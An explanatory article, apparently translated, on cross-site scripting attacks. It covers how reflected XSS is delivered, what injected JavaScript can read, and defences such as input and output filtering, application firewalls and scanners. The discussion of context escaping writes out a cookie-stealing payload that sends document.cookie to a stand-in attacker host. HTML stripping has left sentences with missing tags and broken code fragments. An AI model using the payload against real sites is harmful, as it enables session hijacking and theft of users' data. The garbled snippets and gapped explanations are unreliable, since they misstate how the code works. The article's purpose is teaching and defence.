    Typically, calling a popup using JavaScript is enough to demonstrate a site's vulnerability to an XSS attack. If you can call the Alert function from JavaScript, there is usually no reason why the call would fail. This is why most examples of XSS attacks use the Alert function, which makes it very easy to determine the success of the attack.

    The attack can only occur in the victim's browser, the same one used to access the site (www.vulnerable.site). The attacker must force the client to access the malicious link. This can be achieved in several ways.

    • The attacker sends an email containing an HTML page that tricks the browser into opening a link. This requires the victim to use an email client that can handle HTML. And the HTML viewer on the client must be the same browser that is used to access www.vulnerable.site.
    • A client visits a site, possibly created by an attacker, where a link to an image or other clickable HTML element causes the browser to open the link. Again, in this case, it is imperative that the same browser is used to access both this site and the site www.vulnerable.site.

    Malicious JavaScript code can access any of the following information:

    • persistent cookies (of the site www.vulnerable.site), which are stored by the browser;
    • cookies in memory (of the www.vulnerable.site site), which are supported by the browser instance only when viewing the site www.vulnerable.site;
    • names of other windows open for the site www.vulnerable.site.
    • any information that is available through the current DOM (from values, HTML code, etc.).

    Identification, authorization and authentication data are typically stored in the form of cookies. If these cookies are persistent, then the victim is vulnerable to attack even when he is not using a browser when accessing www.vulnerable.site. However, if the cookies are temporary (for example, they are stored in RAM), then on the client side there must be a session with the site www.vulnerable.site.

    Another possible implementation of an identification label is the URL parameter. In such cases, you can access other windows using JavaScript as follows (assuming the name of the page with the desired URL parameters is foobar):

    var victim_window=open(","foobar");alert("Can access:

    " +victim_window.location.search)

    To run a JavaScript script, you can use many HTML tags other than . In fact, it is also possible to place malicious JavaScript code on another server and then trick the client into downloading the script and executing it. This can be useful if you need to run a large amount of code, or if the code contains special characters.

    Here are some variations of these possibilities.

    • Instead of... hackers can use the . This is suitable for sites that filter the HTML tag.
    • Instead of ... you can use the construction . This is good in situations where the JavaScript code is too long, or if it contains illegal characters.

    Sometimes the data embedded in the response page is in paid HTML context. In this case, you first need to "escape" to the free context and then perform an XSS attack. For example, if data is inserted as the default value for an HTML form field:

    And the resulting HTML code will be as follows:

    window.open

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    So far we have seen that an XSS attack can occur in the GET request parameter that the script responds to. But the attack can also be carried out using a POST request, or using the HTTP request path component, and even using some HTTP headers (for example, Referer).

    In particular, the path component is useful when the error page returns an invalid path. In this case, including a malicious script in the path will often cause it to be executed. Many Web servers are vulnerable to this attack.

    It is important to understand that although the Web site is not directly affected by this attack (it continues to function normally, no malicious code is executed on it, no DoS attack occurs, and data from the site is not directly read or tampered with), this is still a breach in the security system that the site offers to its clients or visitors. This is similar to a site that is used to deploy an application with weak security labels. Because of this, an attacker can guess the client's security label and pretend to be him (or her).

    The weak point in the application is the script, which returns its parameter regardless of its value. A good script should make sure that the parameter is in the correct format, that it contains acceptable characters, etc. There is usually no reason for the correct parameter to contain HTML tags or JavaScript code. They must be removed from the parameter before it can be injected into a response or used in an application. This will ensure safety.

    There are three ways to protect your website from XSS attacks.

  • By performing your own filtering of input data (sometimes called input sanitization). For every user input (be it a parameter or an HTML header), every self-written script should use advanced filtering against HTML tags, including JavaScript code. For example, the welcome.cgi script from the previous example should filter the tag after decoding the name parameter. This method has several serious disadvantages.
    • It requires the application programmer to have a good knowledge of security technologies.
    • It requires the programmer to cover all possible input data sources (request parameters, POST request body parameters, HTTP headers).
    • It cannot protect against vulnerabilities in third party scripts or servers. For example, it will not protect against problems in error pages on Web servers (which display the source path).
  • Performing "output filtering", i.e. filtering user data when it is sent back to the browser, not when the script receives it. A good example of this approach would be a script that inserts data into a database and then displays it. In this case, it is important to apply the filter not to the original input string, but only to the output version. The disadvantages of this method are similar to those of input filtering.
  • Installing a third-party application firewall. This screen intercepts XSS attacks before they reach the Web server and vulnerable scripts and blocks them. Application firewalls can cover all input methods by treating them in a common way (including the path and HTTP headers), regardless of the script or path from the native application, a third-party script, or a script that does not describe any resources at all (for example, one designed to to trigger a 404 response page from the server). For each input source, the application firewall examines the data for various patterns of HTML tags and JavaScript code. If there are any matches, the request is blocked and malicious data does not reach the server.
  • The logical conclusion of protecting a website is to check its security against XSS attacks. Like protecting a site from XSS, checking the level of protection can be done manually (the hard way), or using an automated tool for assessing the vulnerability of Web applications. This tool will take the burden of verification off your shoulders. This program moves around the site and runs all the options it knows for all the scripts it detects. This tries all parameters, headers and paths. In both methods, every input into the application (parameters of all scripts, HTTP headers, paths) is checked with as many options as possible. And if the response page contains JavaScript code in a context where the browser can execute it, then an XSS vulnerability message appears. For example, when sending the following text:

    alert(document.cookie)

    For each parameter of each script (through a browser with JavaScript capabilities to detect the simplest form of XSS vulnerability), the browser will raise a JavaScript Alert window if the text is interpreted as JavaScript code. Of course, there are several options. Therefore, testing only this option is not enough. And, as you've already learned, you can insert JavaScript code into various request fields: parameters, HTTP headers, and path. However, in some cases (especially with the HTTP Referer header), it is inconvenient to perform an attack using a browser.

    Cross-site scripting is one of the most common application-level attacks that hackers use to compromise Web applications. It is also the most dangerous. This is an attack on the privacy of customers of a particular Web site. It can lead to complete destruction of the security system when client data is stolen and used in the future for some purpose. Unfortunately, as this article explains, this is often done without knowledge of the client or organization being attacked.

    To prevent Web sites from being vulnerable to these malicious activities, it is important that an organization implements both an online and offline security strategy. This includes an automated vulnerability checker that can test for all known vulnerabilities of Web sites and specific applications (such as cross-site scripting) on ​​a site. For complete online protection, it is also vital to install a firewall that can detect and block any type of manipulation of the code and data residing on or behind Web servers.